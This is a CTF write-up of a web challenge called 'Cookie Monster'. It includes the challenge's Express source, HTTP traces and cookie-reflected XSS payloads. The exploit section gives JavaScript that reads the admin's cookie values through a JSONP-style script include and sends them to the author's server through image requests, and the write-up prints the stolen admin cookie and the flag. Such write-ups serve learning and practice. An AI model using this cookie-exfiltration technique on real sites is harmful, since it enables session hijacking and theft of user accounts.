Tags: web jsonp
Rating: 1.0
# ▼▼▼Cookie Monstor(Web:170pts、solved 18/1374=1.3%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
```
Cookie MonsterWeb1708
My friend sent me this monster of a website - maybe you can figure out what it's doing? I heard the admin here is slightly more cooperative than the other one, though not by much.
Author: lamchcl
```
---
## 【source code】
```
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const express = require('express')
const puppeteer = require('puppeteer')
const crypto = require('crypto')
const fs = require('fs')
const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
let flag = ""
fs.readFile('flag.txt', 'utf8', function(err, data) {
if (err) throw err;
flag = data
});
const dom = "cookiemonster.2019.chall.actf.co"
let user_num = 0
const thecookie = {
name: 'id',
value: admin_id,
domain: dom,
};
async function visit (url) {
try{
const browser = await puppeteer.launch({
args: ['--no-sandbox']
})
var page = await browser.newPage()
await page.setCookie(thecookie)
await page.setCookie({name: "user_num", value: "0", domain: dom})
await page.goto(url)
await page.close()
await browser.close()
}catch(e){}
}
const app = express()
app.use(cookieParser())
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use('/style.css', express.static('style.css'));
app.use((req, res, next) => {
var cookie = req.cookies?req.cookies.id:undefined
if(cookie === undefined){
cookie = "user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
req.cookies.id=cookie
user_num+=1
res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
req.cookies.user_num=user_num.toString();
}
if(cookie === admin_id){
res.locals.flag = true;
}else{
res.locals.flag = false;
}
next()
})
app.post('/complain', (req, res) => {
visit(req.body.url);
res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")
})
app.get('/complain', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>
give me a url describing the problem and i will probably check it:
<input name='url'>
<input type='submit'>
</form>")app.get('/cookies', (req, res) => {
res.end(Object.values(req.cookies).join(" "))
})
app.get('/getflag', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))
})
app.get('/', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here\n")
})
app.use((err, req, res, next) => {
res.status(500).send('error')
})
app.listen(3000)
```
---
## 【Understanding functions】
```
GET / HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```
↓
```
HTTP/1.1 200 OK
Content-Length: 191
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Apr 2019 00:03:26 GMT
Etag: W/"bf-uUw2ZNG/iGHTfl8XyF4W4YghCro"
Server: Caddy
Server: nginx/1.14.1
Set-Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnly
Set-Cookie: user_num=15189; Max-Age=600; Domain=cookiemonster.2019.chall.actf.co; Path=/; Expires=Thu, 25 Apr 2019 00:13:26 GMT; HttpOnly
X-Powered-By: Express
Connection: close
<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them here
```
↓
1.Cookie Setting `id` and `user_num`
2.There are hints ``
---
```
GET /complain HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```
↓
```
<link rel='stylesheet' type='text/css' href='style.css'><form method='post'>
give me a url describing the problem and i will probably check it:
<input name='url'>
<input type='submit'>
</form>↓
3.URL send function.
---
```
POST /complain HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Content-Type: application/x-www-form-urlencoded
url=http://my_server/
```
↓
```
<link rel='stylesheet' type='text/css' href='style.css'>okay
```
↓
4. I confirmed that **HeadlessChrome access my_server**.
---
```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Connection: close
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189
```
↓
```
HTTP/1.1 200 OK
Content-Length: 55
Date: Thu, 25 Apr 2019 00:11:23 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Connection: close
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```
↓
5. Conetnt-type is `text/plain`, and **a list of cookie values** is displayed
---
```
GET /getflag HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
```
↓
```
<link rel='stylesheet' type='text/css' href='style.css'>flag: currently unavailable
```
6. Location of **flag**
---
## 【Goal】
The goal is to **let admin access /getflag** and send data to my server.
---
## 【Additional investigation】
### 1. Behavior of /cookies
```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=<script>alert(1)</script>; user_num=15189;test=ttttttttttttttt
```
↓
```
HTTP/1.1 200 OK
Content-Length: 47
Date: Thu, 25 Apr 2019 00:14:36 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
<script>alert(1)</script> 15189 ttttttttttttttt
```
↓
```
Content-Type: text/html; charset=utf-8
<script>alert(1)</script> 15189 ttttttttttttttt
```
↓
Cookie is vulnerable to **XSS**
---
```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189<script>alert(1)</script>;test=<script>alert(2)</script>
```
↓
```
HTTP/1.1 200 OK
Content-Length: 106
Date: Thu, 25 Apr 2019 00:23:03 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189<script>alert(1)</script> <script>alert(2)</script>
```
↓
It seems to become Content-Type: **text/html** when html is included in the **top of the responce body**.
---
Then try sending a cookie with **a numeric name**.
↓
```
GET /cookies HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4%3D; user_num=15189;1=<script>alert(2)</script>
```
↓
```
HTTP/1.1 200 OK
Content-Length: 81
Date: Thu, 25 Apr 2019 00:23:36 GMT
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
<script>alert(2)</script> user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```
↓
It was confirmed that when the cookie name is made a number and html is inserted, it is reflected at the top of the response and becomes **text/html**.
It seems that Cookie Monstor gives Cookie and XSS **using DomValidater's XSS**.
However, this behavior was not used as a result...
---
## 【Consider an attack scenario】
### Method 1. Cookie Monstor
Perhaps this method is an assumed solution.
But I did not solve this way
---
### Method 2. Cookie reading by JSONP
I solved this way.
Below is the exploit procedure
---
## 【exploit】
GET `/cookies` response is **normal syntax as javascript.**
```
user_9Hu0iauvM9WMSIyKGOCTppIoyrexfYNVkejAS4rmGf4= 15189
```
↓
I thought it would be possible to load data like JSONP.
And get the parameter list in javascript in `/cookies`.
---
I prepared the following script on my server(https://my_server/) and made admin access
↓
```
<script src="https://cookiemonster.2019.chall.actf.co/cookies"></script>
<script>
test=11;
a=(function(){
var propsOrig = [];
var propsGlobal = {};
var win = window.open();
for(var i in win){
propsOrig.push(i);
}
win.close();
for(var i in window){
if(!propsOrig.includes(i)){
propsGlobal[i] = window[i]
}
}
return propsGlobal;
})()
for(var item in a) {
(new Image).src="https://my_server/"+item;
}
</script>
```
↓
The next three accesses came to my server.
```
GET /item
GET /admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM
GET /test
```
↓
Get admin Cookie `admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=`
---
I accessed `/getflag` with admin Cookie.
```
GET /getflag HTTP/1.1
Host: cookiemonster.2019.chall.actf.co
Cookie: id=admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM=;
```
↓
<link rel='stylesheet' type='text/css' href='style.css'>flag: actf{defund_is_the_real_cookie_monster}
↓
`actf{defund_is_the_real_cookie_monster}`
---
This solution may be the unintended solution of the questioner.